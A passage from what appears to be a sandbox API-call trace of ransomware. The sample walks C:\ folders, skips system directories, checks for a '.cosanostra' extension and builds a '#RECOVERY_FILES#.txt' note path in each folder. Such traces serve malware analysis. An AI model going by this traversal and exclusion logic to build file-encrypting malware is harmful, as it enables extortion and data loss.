(lpString="\\\\?\\C:\\MSOCache\\#RECOVERY_FILES#.txt") returned 36 [0079.286] FindNextFileW (in: hFindFile=0x2183e8, lpFindFileData=0x2cffa88 | out: lpFindFileData=0x2cffa88) returned 1 [0079.286] lstrcmpiW (lpString1="pagefile.sys", lpString2="Windows") returned -1 [0079.286] lstrlenW (lpString="Windows") returned 7 [0079.286] lstrcmpiW (lpString1="pagefile.sys", lpString2="Program Files") returned -1 [0079.286] lstrlenW (lpString="Program Files") returned 13 [0079.286] lstrcmpiW (lpString1="pagefile.sys", lpString2="Program Files (x86)") returned -1 [0079.286] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.286] lstrcmpiW (lpString1="pagefile.sys", lpString2="$Recycle.bin") returned 1 [0079.286] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.286] lstrcmpiW (lpString1="pagefile.sys", lpString2="System Volume Information") returned -1 [0079.286] lstrlenW (lpString="System Volume Information") returned 25 [0079.286] wnsprintfW (in: pszDest=0x218d90, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\pagefile.sys") returned 19 [0079.286] StrStrIW (lpFirst="pagefile.sys", lpSrch=".cosanostra") returned 0x0 [0079.286] lstrcmpW (lpString1="pagefile.sys", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.286] lstrcmpW (lpString1="pagefile.sys", lpString2="_uninstalling_.png") returned 1 [0079.286] lstrlenW (lpString="\\\\?\\C:\\pagefile.sys") returned 19 [0079.286] FindNextFileW (in: hFindFile=0x2183e8, lpFindFileData=0x2cffa88 | out: lpFindFileData=0x2cffa88) returned 1 [0079.286] lstrcmpiW (lpString1="PerfLogs", lpString2="Windows") returned -1 [0079.286] lstrlenW (lpString="Windows") returned 7 [0079.286] lstrcmpiW (lpString1="PerfLogs", lpString2="Program Files") returned -1 [0079.286] lstrlenW (lpString="Program Files") returned 13 [0079.286] lstrcmpiW (lpString1="PerfLogs", lpString2="Program Files (x86)") returned -1 [0079.286] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.286] lstrcmpiW (lpString1="PerfLogs", lpString2="$Recycle.bin") returned 1 [0079.287] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.287] lstrcmpiW (lpString1="PerfLogs", lpString2="System Volume Information") returned -1 [0079.287] lstrlenW (lpString="System Volume Information") returned 25 [0079.287] wnsprintfW (in: pszDest=0x218d90, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs") returned 15 [0079.287] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0079.287] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0079.287] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\PerfLogs\\*") returned 17 [0079.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 0x25a770 [0079.287] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.287] lstrlenW (lpString="Windows") returned 7 [0079.287] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.287] lstrlenW (lpString="Program Files") returned 13 [0079.287] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.287] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.287] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.287] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.287] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.287] lstrlenW (lpString="System Volume Information") returned 25 [0079.287] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\.") returned 17 [0079.287] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.287] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0079.287] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.287] lstrlenW (lpString="Windows") returned 7 [0079.287] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.288] lstrlenW (lpString="Program Files") returned 13 [0079.288] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.288] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.288] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.288] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.288] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.288] lstrlenW (lpString="System Volume Information") returned 25 [0079.288] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\..") returned 18 [0079.288] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.288] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.288] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0079.288] lstrcmpiW (lpString1="Admin", lpString2="Windows") returned -1 [0079.288] lstrlenW (lpString="Windows") returned 7 [0079.288] lstrcmpiW (lpString1="Admin", lpString2="Program Files") returned -1 [0079.288] lstrlenW (lpString="Program Files") returned 13 [0079.288] lstrcmpiW (lpString1="Admin", lpString2="Program Files (x86)") returned -1 [0079.288] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.288] lstrcmpiW (lpString1="Admin", lpString2="$Recycle.bin") returned 1 [0079.288] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.288] lstrcmpiW (lpString1="Admin", lpString2="System Volume Information") returned -1 [0079.288] lstrlenW (lpString="System Volume Information") returned 25 [0079.288] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin") returned 21 [0079.288] lstrcmpW (lpString1="Admin", lpString2=".") returned 1 [0079.288] lstrcmpW (lpString1="Admin", lpString2="..") returned 1 [0079.289] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\*") returned 23 [0079.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x25a7b0 [0079.289] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.289] lstrlenW (lpString="Windows") returned 7 [0079.289] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.289] lstrlenW (lpString="Program Files") returned 13 [0079.289] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.289] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.289] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.289] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.289] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.289] lstrlenW (lpString="System Volume Information") returned 25 [0079.289] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\.") returned 23 [0079.290] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.290] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.290] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.290] lstrlenW (lpString="Windows") returned 7 [0079.290] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.290] lstrlenW (lpString="Program Files") returned 13 [0079.290] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.290] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.290] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.290] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.290] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.290] lstrlenW (lpString="System Volume Information") returned 25 [0079.290] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\..") returned 24 [0079.290] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.290] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.290] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0079.290] FindClose (in: hFindFile=0x25a7b0 | out: hFindFile=0x25a7b0) returned 1 [0079.290] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\#RECOVERY_FILES#.txt") returned 42 [0079.290] lstrlenW (lpString="\\\\?\\C:\\PerfLogs\\Admin\\#RECOVERY_FILES#.txt") returned 42 [0079.290] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 0 [0079.290] FindClose (in: hFindFile=0x25a770 | out: hFindFile=0x25a770) returned 1 [0079.290] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\#RECOVERY_FILES#.txt") returned 36 [0079.290] lstrlenW (lpString="\\\\?\\C:\\PerfLogs\\#RECOVERY_FILES#.txt") returned 36 [0079.291] FindNextFileW (in: hFindFile=0x2183e8, lpFindFileData=0x2cffa88 | out: lpFindFileData=0x2cffa88) returned 1 [0079.291] lstrcmpiW (lpString1="Program Files", lpString2="Windows") returned -1 [0079.291] lstrlenW (lpString="Windows") returned 7 [0079.291] lstrcmpiW (lpString1="Program Files", lpString2="Program Files") returned 0 [0079.291] FindNextFileW (in: hFindFile=0x2183e8, lpFindFileData=0x2cffa88 | out: lpFindFileData=0x2cffa88) returned 1 [0079.291] lstrcmpiW (lpString1="Program Files (x86)", lpString2="Windows") returned -1 [0079.291] lstrlenW (lpString="Windows") returned 7 [0079.291] lstrcmpiW (lpString1="Program Files (x86)", lpString2="Program Files") returned 1 [0079.291] lstrlenW (lpString="Program Files") returned 13 [0079.291] lstrcmpiW (lpString1="Program Files (x86)", lpString2="Program Files (x86)") returned 0 [0079.291] FindNextFileW (in: hFindFile=0x2183e8, lpFindFileData=0x2cffa88 | out: lpFindFileData=0x2cffa88) returned 1 [0079.291] lstrcmpiW (lpString1="ProgramData", lpString2="Windows") returned -1 [0079.291] lstrlenW (lpString="Windows") returned 7 [0079.291] lstrcmpiW (lpString1="ProgramData", lpString2="Program Files") returned 1 [0079.291] lstrlenW (lpString="Program Files") returned 13 [0079.291] lstrcmpiW (lpString1="ProgramData", lpString2="Program Files (x86)") returned 1 [0079.291] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.291] lstrcmpiW (lpString1="ProgramData", lpString2="$Recycle.bin") returned 1 [0079.291] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.291] lstrcmpiW (lpString1="ProgramData", lpString2="System Volume Information") returned -1 [0079.291] lstrlenW (lpString="System Volume Information") returned 25 [0079.291] wnsprintfW (in: pszDest=0x218d90, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData") returned 18 [0079.291] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0079.291] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0079.291] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\*") returned 20 [0079.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\*", lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 0x25a770 [0079.291] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.291] lstrlenW (lpString="Windows") returned 7 [0079.291] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.291] lstrlenW (lpString="Program Files") returned 13 [0079.292] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.292] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.292] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.292] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.292] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.292] lstrlenW (lpString="System Volume Information") returned 25 [0079.292] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\.") returned 20 [0079.292] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.292] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0079.292] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.292] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0079.292] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\.") returned 20 [0079.292] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0079.292] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.292] lstrlenW (lpString="Windows") returned 7 [0079.292] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.292] lstrlenW (lpString="Program Files") returned 13 [0079.292] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.292] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.292] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.292] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.292] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.292] lstrlenW (lpString="System Volume Information") returned 25 [0079.292] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\..") returned 21 [0079.292] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.292] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.292] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0079.292] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.292] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0079.292] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\..") returned 21 [0079.293] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0079.293] lstrcmpiW (lpString1="Adobe", lpString2="Windows") returned -1 [0079.293] lstrlenW (lpString="Windows") returned 7 [0079.293] lstrcmpiW (lpString1="Adobe", lpString2="Program Files") returned -1 [0079.293] lstrlenW (lpString="Program Files") returned 13 [0079.293] lstrcmpiW (lpString1="Adobe", lpString2="Program Files (x86)") returned -1 [0079.293] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.293] lstrcmpiW (lpString1="Adobe", lpString2="$Recycle.bin") returned 1 [0079.293] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.293] lstrcmpiW (lpString1="Adobe", lpString2="System Volume Information") returned -1 [0079.293] lstrlenW (lpString="System Volume Information") returned 25 [0079.293] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe") returned 24 [0079.293] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0079.293] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0079.293] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\*") returned 26 [0079.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x25a7b0 [0079.294] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.294] lstrlenW (lpString="Windows") returned 7 [0079.294] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.294] lstrlenW (lpString="Program Files") returned 13 [0079.294] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.294] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.294] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.294] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.294] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.294] lstrlenW (lpString="System Volume Information") returned 25 [0079.294] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\.") returned 26 [0079.294] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.294] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.294] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.294] lstrlenW (lpString="Windows") returned 7 [0079.294] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.294] lstrlenW (lpString="Program Files") returned 13 [0079.294] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.294] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.294] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.294] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.294] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.294] lstrlenW (lpString="System Volume Information") returned 25 [0079.294] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\..") returned 27 [0079.294] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.294] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.294] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.294] lstrcmpiW (lpString1="Acrobat", lpString2="Windows") returned -1 [0079.294] lstrlenW (lpString="Windows") returned 7 [0079.294] lstrcmpiW (lpString1="Acrobat", lpString2="Program Files") returned -1 [0079.295] lstrlenW (lpString="Program Files") returned 13 [0079.295] lstrcmpiW (lpString1="Acrobat", lpString2="Program Files (x86)") returned -1 [0079.295] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.295] lstrcmpiW (lpString1="Acrobat", lpString2="$Recycle.bin") returned 1 [0079.295] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.295] lstrcmpiW (lpString1="Acrobat", lpString2="System Volume Information") returned -1 [0079.295] lstrlenW (lpString="System Volume Information") returned 25 [0079.295] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat") returned 32 [0079.295] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0079.295] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0079.295] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\*") returned 34 [0079.295] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0079.295] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.295] lstrlenW (lpString="Windows") returned 7 [0079.295] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.295] lstrlenW (lpString="Program Files") returned 13 [0079.295] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.295] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.295] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.295] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.295] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.295] lstrlenW (lpString="System Volume Information") returned 25 [0079.295] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\.") returned 34 [0079.295] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.295] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.296] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.296] lstrlenW (lpString="Windows") returned 7 [0079.296] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.296] lstrlenW (lpString="Program Files") returned 13 [0079.296] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.296] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.296] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.296] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.296] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.296] lstrlenW (lpString="System Volume Information") returned 25 [0079.296] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\..") returned 35 [0079.296] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.296] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.296] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.296] lstrcmpiW (lpString1="10.0", lpString2="Windows") returned -1 [0079.296] lstrlenW (lpString="Windows") returned 7 [0079.296] lstrcmpiW (lpString1="10.0", lpString2="Program Files") returned -1 [0079.296] lstrlenW (lpString="Program Files") returned 13 [0079.296] lstrcmpiW (lpString1="10.0", lpString2="Program Files (x86)") returned -1 [0079.296] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.296] lstrcmpiW (lpString1="10.0", lpString2="$Recycle.bin") returned 1 [0079.296] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.296] lstrcmpiW (lpString1="10.0", lpString2="System Volume Information") returned -1 [0079.296] lstrlenW (lpString="System Volume Information") returned 25 [0079.296] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0") returned 37 [0079.296] lstrcmpW (lpString1="10.0", lpString2=".") returned 1 [0079.297] lstrcmpW (lpString1="10.0", lpString2="..") returned 1 [0079.297] wnsprintfW (in: pszDest=0x28e7a0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*") returned 39 [0079.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0079.297] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.297] lstrlenW (lpString="Windows") returned 7 [0079.297] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.297] lstrlenW (lpString="Program Files") returned 13 [0079.297] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.297] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.297] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.297] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.297] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.298] lstrlenW (lpString="System Volume Information") returned 25 [0079.298] wnsprintfW (in: pszDest=0x28e7a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\.") returned 39 [0079.298] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.298] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.298] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.298] lstrlenW (lpString="Windows") returned 7 [0079.298] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.298] lstrlenW (lpString="Program Files") returned 13 [0079.298] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.298] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.298] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.298] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.298] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.298] lstrlenW (lpString="System Volume Information") returned 25 [0079.298] wnsprintfW (in: pszDest=0x28e7a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\..") returned 40 [0079.298] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.298] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.298] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.298] lstrcmpiW (lpString1="Replicate", lpString2="Windows") returned -1 [0079.298] lstrlenW (lpString="Windows") returned 7 [0079.298] lstrcmpiW (lpString1="Replicate", lpString2="Program Files") returned 1 [0079.298] lstrlenW (lpString="Program Files") returned 13 [0079.298] lstrcmpiW (lpString1="Replicate", lpString2="Program Files (x86)") returned 1 [0079.298] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.298] lstrcmpiW (lpString1="Replicate", lpString2="$Recycle.bin") returned 1 [0079.298] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.298] lstrcmpiW (lpString1="Replicate", lpString2="System Volume Information") returned -1 [0079.298] lstrlenW (lpString="System Volume Information") returned 25 [0079.298] wnsprintfW (in: pszDest=0x28e7a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate") returned 47 [0079.298] lstrcmpW (lpString1="Replicate", lpString2=".") returned 1 [0079.298] lstrcmpW (lpString1="Replicate", lpString2="..") returned 1 [0079.299] wnsprintfW (in: pszDest=0x29e7e8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*") returned 49 [0079.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0079.308] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.308] lstrlenW (lpString="Windows") returned 7 [0079.308] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.308] lstrlenW (lpString="Program Files") returned 13 [0079.308] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.308] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.308] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.308] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.308] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.308] lstrlenW (lpString="System Volume Information") returned 25 [0079.308] wnsprintfW (in: pszDest=0x29e7e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\.") returned 49 [0079.308] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.308] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.308] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.308] lstrlenW (lpString="Windows") returned 7 [0079.308] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.308] lstrlenW (lpString="Program Files") returned 13 [0079.308] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.308] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.308] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.308] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.308] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.308] lstrlenW (lpString="System Volume Information") returned 25 [0079.308] wnsprintfW (in: pszDest=0x29e7e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\..") returned 50 [0079.308] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.308] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.308] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.308] lstrcmpiW (lpString1="Security", lpString2="Windows") returned -1 [0079.308] lstrlenW (lpString="Windows") returned 7 [0079.308] lstrcmpiW (lpString1="Security", lpString2="Program Files") returned 1 [0079.309] lstrlenW (lpString="Program Files") returned 13 [0079.309] lstrcmpiW (lpString1="Security", lpString2="Program Files (x86)") returned 1 [0079.309] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.309] lstrcmpiW (lpString1="Security", lpString2="$Recycle.bin") returned 1 [0079.309] lstrlenW 